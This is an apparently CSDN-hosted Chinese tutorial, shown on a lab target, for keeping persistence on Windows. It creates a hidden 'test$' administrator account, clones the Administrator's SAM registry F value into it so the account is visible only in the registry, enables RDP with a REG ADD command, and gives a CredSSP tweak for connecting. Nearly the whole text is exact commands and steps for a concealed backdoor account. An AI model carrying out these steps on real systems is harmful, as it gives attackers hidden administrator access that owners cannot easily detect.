权限维持-Windows影子用户

前言

该文章只进行技术分享与探讨,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者无关

在windows中创建一个影子用户,影子用户拥有和正常用户一样的权限和功能

影子用户只可在注册表中看到

演示环境:windows server 2012(靶机)

前提

需要一个高权限用户(administrator 或者是 system)

一、

1. 创建用户test(后面加个$符号是为了使net user 无法查看到)

net user test$ a+1 /add

 2. 将test用户添加到管理员组

net localgroup administrators test$ /add

 3. 将test用户移出users组

net localgroup users test$ /del

 二、

 打开注册表

 找到HKEY_LOCAL_MACHINE\SAM\SAM

右键SAM选择权限

 将Administrators权限设置为完全控制

然后找到我们创建的用户和其对应的类型

我们将隐藏用户右键导出命名为 1.reg 放到桌面

将其默认类型对应的注册表也右键导出到桌面,命名为 2.reg

接着我们导出管理员账户默认类型对应的注册表,命名为 3.reg

用记事本打开 2.reg 和 3.reg (Administrator用户的注册表),将 3.reg 中的F值复制粘贴替换掉2.reg中的F值

三、

先将隐藏用户删掉

net user test$ /del

回到注册表可以看到test用户的注册表已经清除

我们重新将桌面上的 1.reg 和 2.reg 导入到注册表

 此时影子用户已经创建完成

四、

靶机开启3389端口用于远程连接

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

 

 五、

攻击机

打开远程桌面连接

 

 使用影子用户进行登录

 

连接成功

六、

使用远程桌面连接可能会遇到的问题

解决办法如下

注:这里注册表改的是攻击机的,不是靶机的注册表

打开注册表找到下面这个路径

\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

在System下创建CredSSP文件夹,然后继续在CredSSP文件夹下创建Parameters文件夹

在Parameters文件夹下新建DWORD (32位)值(D),名称命名为AllowEncryptionOracle

 设置DWORD(32位)值的数值数据为2,基数为16

修改完重新进行远程连接应该就可以正常连接了 

  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

whathay

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值